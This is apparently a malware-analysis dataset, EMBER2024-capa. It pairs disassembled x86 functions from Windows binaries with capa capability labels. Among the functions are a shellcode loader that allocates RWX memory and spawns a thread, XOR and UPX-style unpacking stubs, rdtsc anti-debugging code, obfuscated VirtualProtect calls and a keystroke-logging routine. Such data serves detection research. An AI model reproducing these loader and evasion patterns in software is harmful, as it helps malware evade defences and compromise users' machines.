joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40320d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4196ac]
jne 0x403217
repz ret
jmp fcn.004094cc

Function at 0x40b1b6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408170
and dword [ebp - 4], 0
cmp dword [0x426b8c], 0
mov ebx, eax
jne 0x40b267
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b318
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b318
push eax
call fcn.004080fe
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x426b8c], eax
call esi
push eax
call fcn.004080fe
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x426b90], eax
call esi
push eax
call fcn.004080fe
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x426b94], eax
call esi
push eax
call fcn.004080fe
pop ecx
mov dword [0x426b9c], eax
test eax, eax
je 0x40b267
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004080fe
pop ecx
mov dword [0x426b98], eax
mov eax, dword [0x426b98]
cmp eax, ebx
je 0x40b2bf
cmp dword [0x426b9c], ebx
je 0x40b2bf
push eax
call fcn.00408179
push dword [0x426b9c]
mov esi, eax
call fcn.00408179
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b2bf
test edi, edi
je 0x40b2bf
call esi
test eax, eax
je 0x40b2b6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b2b6
test byte [ebp - 0xc], 1
jne 0x40b2bf
or dword [ebp + 0x10], 0x200000
jmp 0x40b2f8
mov eax, dword [0x426b90]
cmp eax, ebx
je 0x40b2f8
push eax
call fcn.00408179
pop ecx
test eax, eax
je 0x40b2f8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b2f8
mov eax, dword [0x426b94]
cmp eax, ebx
je 0x40b2f8
push eax
call fcn.00408179
pop ecx
test eax, eax
je 0x40b2f8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x426b8c]
call fcn.00408179
pop ecx
test eax, eax
je 0x40b318
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b31a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40e010
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x2b91b20], eax
mov byte [0x426c68], 0
push str.WirteosBriclsk
push 0x426c68
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [0x426c68], 0x56
mov byte [0x426c6c], 0x75
mov byte [0x426c6d], 0x61
mov byte [0x426c6e], 0x6c
mov dword [ebp - 8], 0x40
mov byte [0x426c6f], 0x50
mov byte [0x426c71], 0x6f
mov byte [0x426c72], 0x74
mov byte [0x426c73], 0x65
mov byte [0x426c74], 0x63
mov byte [0x426c75], 0x74
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x2b91b24]
push edx
mov eax, dword [0x427b64]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret
Function at 0x40e0c0
Capabilities:
Connect pipe
Get thread local storage value
Read file on windows
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
cmp dword [0x2b91b24], 0x37
jne 0x40e174
push 0
lea eax, [ebp - 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
lea ecx, [ebp - 0x140]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov dword [ebp - 8], 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeactivateActCtx]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], 0
mov eax, dword [0x2b92220]
add dword [ebp - 4], eax
mov eax, 0x8c456
add dword [ebp - 4], eax
mov eax, dword [0x427b64]
add eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
add ecx, dword [ebp + 8]
mov dl, byte [ecx]
mov byte [eax], dl
mov esp, ebp
pop ebp
ret 4
Function at 0x40e4f0
Capabilities:
Get common file path
Get memory capacity
Manipulate console buffer
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x850
push 0x41a060
mov eax, dword [0x2b91b24]
push eax
mov ecx, dword [0x427b64]
push ecx
call fcn.0040e400
mov dword [ebp - 4], 0
jmp 0x40e522
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0x3e7a3
jge 0x40e562
cmp dword [0x2b91b24], 0x10
jne 0x40e54a
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalSize]
cmp dword [ebp - 4], 0x4f3b3
jne 0x40e560
call fcn.0040e0b0
jmp 0x40e519
mov dword [ebp - 0xc], 0
jmp 0x40e574
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0xdd9a7
jge 0x40e59d
cmp dword [0x2b91b24], 0xfe9
jne 0x40e59b
lea edx, [ebp - 0x10]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
jmp 0x40e56b
call dword [0x427b64]
cmp dword [0x2b91b24], 0x1144
jne 0x40e65a
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [ebp - 0x82c], 0
xor eax, eax
mov dword [ebp - 0x828], eax
mov dword [ebp - 0x824], eax
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x81c], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [ebp - 0x410]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
lea edx, [ebp - 0x84c]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0
lea eax, [ebp - 0x818]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x776f96
Capabilities:
Hash data with md5

Disassembly:
jmp 0x777a1f
jmp 0x75c848
lea esp, [esp + 4]
jmp 0x75c867
and dword [eax + 4], 0
jmp 0x7913b7

Function at 0x78dc5c
Capabilities:
Encrypt data using aes

Disassembly:
lea esp, [esp + 2]
jmp 0x78dc81
mov ecx, dword [ecx*4 + reloc.MSVFW32.dll_DrawDibDraw]
stc
sub esp, 2
jmp 0x78dc46

Function at 0x78dce5
Capabilities:
Encrypt data using aes

Disassembly:
mov cx, word [esp]
jmp 0x78dbe3
mov eax, edi
push bp
neg dh
lea esp, [esp + 2]
jmp 0x78de06
mov edi, edx
jmp 0x78dc7a
shr ecx, 8
push ecx
mov byte [esp], cl
lea edi, [esi*4]
jmp 0x78dc07
mov dword [esp + 0x18], edx
pushal
lea esp, [esp + 0x20]
popal
bswap edi
jmp 0x78dc1d
and ecx, esi
call fcn.0078dc5c
shr edi, 0x10
and edi, esi
mov edi, dword [edi*4 + reloc.MSVFW32.dll_DrawDibDraw]
jmp 0x78dc93
push sp
lea esp, [esp + 2]
jmp 0x78dd60
pushal
adc ebx, 0x359a0d84
neg esi
mov ch, byte [esp]
mov eax, 0xe0ebbcb0
jmp 0x78dc38
mov edx, dword [edx*4 + reloc.MSVFW32.dll_DrawDibDraw]
call fcn.0078dce0
lahf
push ss
test bl, ah
push ds
mov eax, dword [reloc.MSVFW32.dll_DrawDibDraw]
pushal
inc edi
mov edi, edx
and edx, esi
jmp 0x78dcc2
sub esp, 0x14
jmp 0x78dd13
xor ecx, edi
and edx, ebp
jmp 0x78dd47
mov dword [esp], ebx
mov word [esp], si
lea esp, [esp + 1]
xor ecx, edi
bswap edi
jmp 0x78dcd8
movzx edi, byte [edi*4 + 0x7662a8]
jmp 0x78dcea
pushfd
mov di, sp
jmp 0x78dd8b
xor ecx, edx
lea esp, [esp + 0x44]
xor ecx, dword [ebx]
btr di, dx
jmp 0x78dd31
lea esp, [esp + 8]
and ecx, 0xff0000
and edi, 0xff000000
sub esp, 5
jmp 0x78dd02
xor ecx, dword [eax]
lea edx, [edx + ebx]
mov edx, 0x6ea51c32
mov edx, 0x379f3c60
jmp 0x78ddb3
lea esp, [esp + 4]
lea edi, [eax + 0x10]
bsr dx, bp
mov edx, 0xc1c37ed7
jmp 0x78dd75
mov edx, dword [eax + 4]
jmp 0x78ddd6
mov dh, 0x67
add ebx, 4
shr dx, 5
mov dword [edi], ecx
jmp 0x78dd9d
mov ebp, eax
jmp 0x78dddf
xor edx, ecx
mov cx, word [esp]
push ebp
jmp 0x78ddc0
add ebp, 0x14
mov dword [ebp], edx
pop ebp
xor ch, bl
jmp 0x78e022
mov dword [eax + 0x18], ecx
clc
cmc
mov dx, cx
jmp 0x78df2c
mov edx, dword [eax + 0xc]
mov ecx, esp
lea edi, [ebp*4]
setb cl
mov edi, 0x20da71
jmp 0x78dcac
popal
add ecx, 0x1c
mov dword [ecx], edx
pop ecx
push ax
jmp 0x78de67
mov edx, 0x35937791
mov edi, eax
mov dword [esp + 0x18], eax
sub esp, 0xc
add esp, 4
lea esp, [esp + 8]
jmp 0x78de1f
pop word [esp]
lea esp, [esp + 2]
jmp 0x78dee0
lea esp, [esp + 2]
lea esp, [esp + 0x24]
cmp ebx, 0x767ad0
pushfd
mov dword [esp], ebp
jmp 0x78de51
push ecx
pushal
mov di, 0xeb22
stc
jmp 0x78de3a
lea esi, [eax + ebx]
pushfd
mov bh, byte [esp + 2]
jmp 0x78deb8
lea esp, [esp + 4]
push 0xa
pop eax
pop edi
jmp 0x78de98
lea esp, [esp + 4]
pop esi
pop ebp
mov ebx, dword [esp]
jmp 0x78dec7
pop ebx
ret
jne 0x75b0c6
not al
push eax
lea ebp, [ebx + edi]
jmp 0x78deae
mov edx, dword [eax + 0xc]
xor edx, ecx
sub esp, 0
pushal
jmp 0x78de8f
mov ecx, dword [eax + 8]
sub esp, 4
mov dword [esp], ebx
xor ecx, edx
jmp 0x78dded
Function at 0x78f19c
Capabilities:
Encode data using base64

Disassembly:
cmp cl, 0x30
jmp 0x78ef6b
jmp 0x78f1da
pop esi
jmp 0x78e8af
push ebp
jmp 0x78f2a0
mov edx, dword [ebp - 8]
jmp 0x78e938
jmp 0x78f3ec
test byte [0x9527d48d], bl
in al, dx
inc esi
jno 0x78e9a8
cmp edi, 3
call 0x78e941
jae 0x78e92d
xor al, 0x8d
and al, 4
cmp cl, 0x2b
jmp 0x78f38e
mov ecx, dword [ebp - 8]
jmp 0x78ea50
clc
or eax, esi
bts si, dx
mov si, 0x7048
sub esp, 0x13
jmp 0x78f467
call 0x78f1ac
lahf
and esi, dword [ebx - reloc.MSVFW32.dll_DrawDibDraw]
cli
popfd
insb byte es:[edi], dx
fst dword [ecx]
nop
adc ecx, dword [edx + reloc.MSVFW32.dll_DrawDibDraw]
pop ecx
jmp 0x78ea50
push esi
salc
inc esp
and ebx, esi
sbb al, ah
dec ebx
fstp xword [esi - 0x139570b3]
bound eax, qword [0x807935f4]
stc
das
cmp cl, 0x2f
call fcn.0078f3d3
pop ebp
fimul dword [eax + 0x2f]
fisubr dword [esi - 0x43]
aas
scasd eax, dword es:[edi]
retf 0xf539
shl eax, 6
jmp 0x78e9b0
lea esp, [esp + 0x20]
jbe 0x75b975
ja 0x75b9c7
cmp cl, 0x7a
pushal
push word [esp + 0xc]
lea esp, [esp + 2]
jmp 0x78ef81
lea esp, [esp + 4]
jb 0x75b9c7
jae 0x78efab
lea esp, [esp + 4]
cmp bl, 0x2f
jmp 0x78f1cd
lea esp, [esp + 4]
push 0x3e
jmp 0x78e883
jne 0x78e86c
push 0x3f
jmp 0x78e883
movzx esi, bl
pushfd
lea esp, [esp + 4]
cmp bl, 0x39
call fcn.0078f240
push edi
fisttp word [edi + 0x2a]
fst dword [edi + edi*4 + 0x30]
cmpsb byte [esi], byte es:[edi]
sal dword [eax], 0x8f
lodsd eax, dword [esi]
mov esp, 0x2474ff66
add cl, byte [ebp - 0x72fddb9c]
and al, 4
jne 0x78e9c9
push ebp
jmp 0x78f1c2
cmp edi, 2
jmp 0x78f301
mov ebp, edi
mov edi, dword [ebp]
pop ebp
clc
jmp 0x78f28a
jb 0x78e8ee
call fcn.0078f2bf
mov dword [esp], ecx
push dword [esp + 1]
lea esp, [esp + 8]
push 0x3f
jmp 0x78e904
jne 0x78e9f5
push 0x3e
jmp 0x78e9df
pop edx
jmp 0x78e938
lea esp, [esp + 3]
shl eax, 0xc
lea esp, [esp + 0x10]
pop esi
call fcn.0078f444
or eax, ecx
jmp 0x78f4cc
lea esp, [esp + 4]
jmp 0x78ea95

Function at 0x86aaa5
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop bx
xchg esi, ebx
not bl
mov byte [esp], dl
pushfd
inc edi
jmp 0x86aaaa
add esp, 0
mov ax, word [esp + 2]
setge bl
xchg ebp, ebx
mov byte [esp + 1], bl
not eax
jmp 0x86aa71
add esp, 2
jmp 0x86aa87
neg cx
setge al
stc
sub esp, 9
pop word [esp + 9]
mov bh, dh
jmp 0x86ab15
mov byte [esp + 5], al
mov bl, byte [esp + 5]
sub esp, 9
xchg dl, cl
mov bx, 0x812c
jmp 0x86aafe
pop word [esp + 2]
mov bp, word [esp + 0x14]
mov bp, word [esp + 0x1f]
popal
jmp 0x86ab2c
mov word [esp + 1], si
mov cl, byte [esp + 0xf]
pop dword [esp + 6]
rdtsc
pushal
jmp 0x86aae8
cmc
setnp dh
pop word [esp + 3]
bsf ax, si
mov byte [esp + 8], bh
mov di, 0x964
jmp 0x86aabd
bswap eax
shl bh, cl
bsr bx, cx
xchg ah, bl
btc ebx, ebp
push dword [esp + 1]
jmp 0x86ab91
mov eax, 0x16ef271c
btc si, sp
sub esp, 0x15
mov byte [esp + 0x11], ch
push word [esp + 0x13]
jmp 0x86ab5e
xchg dword [esp + 0xb], edx
mov ch, byte [esp + 1]
setbe dh
bswap esi
pop word [esp + 4]
pop word [esp]
jmp 0x86ab74
Function at 0x86af8a
Capabilities:
Execute anti-debugging instructions

Disassembly:
not si
mov word [esp + 0xa], bx
dec bh
sets dh
pop eax
bt ebp, edi
jmp 0x86aee9
mov al, ah
pushfd
shl eax, 0x11
bsf bx, ax
lea ebp, [ebx*4]
rdtsc
jmp 0x86ae69
and dh, 0x73
ror si, 8
mov bp, sp
mov di, ax
pop ebp
jmp 0x86aec5
pop ebp
add esp, 0xe
add esp, 2
mov dword [esp], ebp
mov al, byte [esp + 2]
cmp dh, dl
jmp 0x86ae9d
mov bp, 0x2d4b
neg cx
rcr ch, 6
mov di, sp
rdtsc
bsf si, si
jmp 0x86af18
mov word [esp + 0xd], di
push dword [esp + 3]
xchg word [esp + 0x10], bx
mov dh, byte [esp + 2]
cld
push dword [esp + 0x11]
jmp 0x86aeb3
rdtsc
xchg ch, bh
lea ebp, [eax*4]
mov dl, byte [esp]
call int.0086af02
fnstcw word [eax]
sbb esi, dword [edx + 0x6d]
jl 0x86af98
xchg bp, cx
xchg ebp, ecx
add esp, 0
neg eax
push bx
xchg byte [esp + 0xe], dl
xchg word [esp + 3], bp
jmp 0x86ae88
jmp 0x86af31
and al, 9

Function at 0x86b1b4
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
push sp
lea esp, [esp + 2]
mov dword [esp + 0x24], esi
jmp 0x86b19e
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 0x52
lea edi, [ebp - 0x154]
mov esi, 0x402100
rep movsd dword es:[edi], dword [esi]
push 0x40
push 0x3000
push 0x149
push 0
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea esi, [ebp - 0x154]
mov ecx, 0x52
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 8]
push ecx
push 0
push 0
push eax
push 0
push 0
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0040107a
mov esp, ebp
pop ebp
ret
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x407ef8
nop
mov ecx, 0x10303836
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x5a0059f4
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x52b5a7
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi]
call dword [eax + 0x178]
mov bx, word [ebp + 8]
mov edi, eax
push 2
movzx edx, bx
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
cmp byte [ebp + 0xc], 0
jne 0x52b5e8
test edi, edi
js 0x52b5e8
cmp al, 0x20
je 0x52b5dd
cmp bx, 0x71
jne 0x52b5e8
mov eax, dword [esi]
mov ecx, esi
push edi
call dword [eax + 0x190]
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x549fe8
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00549ca8

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219

Function at 0x26ab058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x26ab1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x26ab07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x26ab06a
add dl, dl
jne 0x26ab089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x26ab0dc
xor eax, eax
add dl, dl
jne 0x26ab096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x26ab17d
add dl, dl
jne 0x26ab0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x26ab0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x26ab0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x26ab0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x26ab0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x26ab075
mov eax, 1
add dl, dl
jne 0x26ab0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x26ab0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x26ab0e1
sub eax, ebx
mov ebx, 1
jne 0x26ab128
mov ecx, 1
add dl, dl
jne 0x26ab10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x26ab119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x26ab105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x26ab075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x26ab13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x26ab14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x26ab136
cmp eax, 0x7d00
jae 0x26ab16d
cmp eax, 0x500
jb 0x26ab168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x26ab075
cmp eax, 0x7f
ja 0x26ab170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x26ab075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x26ab19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x26ab075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x100063ea
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10006429
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10006429
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10006429
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10006429
cmp dword [ecx + 0x74], 0xe
jbe 0x10006429
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10007200
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000722d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000722d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10007550
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10015708
push 0x10015700
push str.FlsAlloc
push 0x1f
call fcn.10007833
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007584
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x1000758a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100075ce
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10015718
push 0x10015710
push str.FlsGetValue
push 0x21
call fcn.10007833
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007605
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000760d
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10015720
push 0x10015718
